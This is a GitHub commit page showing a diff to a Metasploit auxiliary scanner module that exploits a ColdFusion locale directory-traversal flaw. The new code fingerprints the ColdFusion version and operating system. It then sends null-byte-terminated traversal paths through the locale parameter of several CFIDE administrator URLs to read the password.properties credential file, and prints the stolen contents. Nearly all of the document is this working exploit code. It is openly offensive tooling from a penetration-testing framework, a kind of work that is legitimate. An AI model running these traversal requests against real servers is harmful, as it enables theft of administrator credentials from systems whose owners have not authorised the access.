Skip to content

Commit 1e39c31

Browse files
committed
Merge branch 'feature/rm6822-coldfusion_locale_traversal' of github.com:lmercer-r7/metasploit-framework into lmercer-r7-feature/rm6822-coldfusion_locale_traversal
2 parents 730e430 + a701b5e commit 1e39c31

File tree

1 file changed

+141
-24
lines changed

1 file changed

+141
-24
lines changed

modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb

Lines changed: 141 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,12 @@ def initialize
2929
to have directory traversal protections in place, subsequently this module does NOT
3030
work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or
3131
ColdFusion 7.
32+
33+
It is not recommended to set FILE when doing scans across a group of servers where the OS
34+
may vary; otherwise, the file requested may not make sense for the OS
35+
3236
},
33-
'Author' => [ 'CG' ],
37+
'Author' => [ 'CG', 'nebulus' ],
3438
'License' => MSF_LICENSE,
3539
'References' =>
3640
[
@@ -45,40 +49,153 @@ def initialize
4549

4650
register_options(
4751
[
48-
OptString.new('URL', [ true, "URI Path", '/CFIDE/administrator/enter.cfm']),
49-
OptString.new('PATH', [ true, "traversal and file", '../../../../../../../../../../ColdFusion8/lib/password.properties%00en']),
52+
OptString.new('FILE', [ false, 'File to retrieve (make sure path/file match OS (ie, /etc/passwd on Windows == dumb))', '']),
53+
OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]),
5054
], self.class)
5155
end
5256

57+
def fingerprint(response)
58+
59+
if(response.headers.has_key?('Server') )
60+
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
61+
os = "Windows (#{response.headers['Server']})"
62+
elsif(response.headers['Server'] =~ /Apache\//)
63+
os = "Unix (#{response.headers['Server']})"
64+
else
65+
os = response.headers['Server']
66+
end
67+
end
68+
69+
return nil if response.body.length < 100
70+
71+
title = "Not Found"
72+
response.body.gsub!(/[\r\n]/, '')
73+
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
74+
title = $1
75+
title.gsub!(/\s/, '')
76+
end
77+
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
78+
79+
out = nil
80+
81+
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
82+
v = $1
83+
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}"
84+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
85+
out = "Adobe ColdFusion MX7"
86+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
87+
out = "Adobe ColdFusion 8"
88+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
89+
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
90+
out = "Adobe ColdFusion 9"
91+
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
92+
out = $1.split(/,/)[0]
93+
else
94+
out = 'Unknown ColdFusion'
95+
end
96+
97+
if(title.downcase == 'coldfusionadministrator')
98+
out << " (administrator access)"
99+
end
100+
101+
out << " (#{os})"
102+
return out
103+
end
104+
53105
def run_host(ip)
106+
trav = datastore['FILE']
54107

55-
url = normalize_uri(datastore['URL'])
56-
locale = "?locale="
57-
trav = datastore['PATH']
108+
if(trav == '' or datastore['FINGERPINT'])
109+
# the user did not specify what they wanted, fingerprint, go after password.properties
110+
111+
url = '/CFIDE/administrator/index.cfm'
58112

59-
res = send_request_raw({
60-
'uri' => url+locale+trav,
61-
'method' => 'GET',
62-
'headers' =>
63-
{
113+
res = send_request_cgi({
114+
'uri' => url,
115+
'method' => 'GET',
64116
'Connection' => "keep-alive",
65117
'Accept-Encoding' => "zip,deflate",
66-
},
67-
}, -1)
68-
69-
if (res.nil?)
70-
print_error("no response for #{ip}:#{rport} #{url}")
71-
elsif (res.code == 200)
72-
#print_error("#{res.body}")#debug
73-
print_status("URL: #{ip}#{url}")
74-
if match = res.body.match(/\<title\>(.*)\<\/title\>/im);
75-
fileout = $1
76-
print_status("FILE OUTPUT:\n" + fileout + "\r\n")
118+
}, 10)
119+
return if not res or not res.body or not res.code
120+
121+
if (res.code.to_i == 200)
122+
out = fingerprint(res)
123+
print_status("#{ip} #{out}") if out
124+
return if (datastore['FINGERPRINT'])
125+
126+
if(out =~ /Windows/ and out =~ /MX6/)
127+
trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en'
128+
elsif(out =~ /Windows/ and out =~ /MX7/)
129+
trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en'
130+
elsif(out =~ /Windows/ and out =~ /ColdFusion 8/)
131+
trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en'
132+
elsif(out =~ /ColdFusion 9/)
133+
print_status("#{ip} ColdFusion 9 is not vulnerable, skipping")
134+
return
135+
elsif(out =~ /Unix/ and out =~ /MX6/)
136+
trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en'
137+
elsif(out =~ /Unix/ and out =~ /MX7/)
138+
trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en'
139+
elsif(out =~ /Unix/ and out =~ /ColdFusion 8/)
140+
trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en'
141+
else
142+
if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/)
143+
print_error("#{ip} Fingerprint failed, FILE not set...aborting")
144+
else
145+
return # probably just a web server
146+
end
147+
end
148+
else
149+
return # silent fail as it doesnt necessarily at this point have to be a CF server
150+
end
151+
end
152+
153+
# file specified or obtained via fingerprint
154+
if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/)
155+
# file probably specified by user, make sure to add in actual traversal
156+
trav = '../../../../../../../../../../' << trav << '%00en'
157+
end
158+
159+
locale = "?locale="
160+
161+
urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm",
162+
"/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"]
163+
# "/CFIDE/install.cfm", haven't seen where this one works
164+
165+
out = '' # to keep output in synch with threads
166+
urls.each do |url|
167+
res = send_request_raw({
168+
'uri' => url+locale+trav,
169+
'method' => 'GET',
170+
'headers' =>
171+
{
172+
'Connection' => "keep-alive",
173+
'Accept-Encoding' => "zip,deflate",
174+
},
175+
}, -1)
176+
177+
178+
if (res.nil?)
179+
print_error("no response for #{ip}:#{rport} #{url}")
180+
elsif (res.code == 200)
181+
#print_error("#{res.body}")#debug
182+
out << "URL: #{ip}#{url}#{locale}#{trav}\n"
183+
if match = res.body.match(/\<title\>(.*)\<\/title\>/im)
184+
fileout = $1
185+
if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/)
186+
out << "#{ip} FILE:\n#{fileout}\r\n"
187+
break
188+
end
189+
end
77190
else
78-
''
191+
next if (res.code == 500 or res.code == 404 or res.code == 302)
192+
print_error("#{ip} #{res.inspect}")
79193
end
194+
end
195+
if(out =~ /FILE/)
196+
print_good(out)
80197
else
81-
''
198+
print_status(out)
82199
end
83200

84201
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError

0 commit comments

Comments
 (0)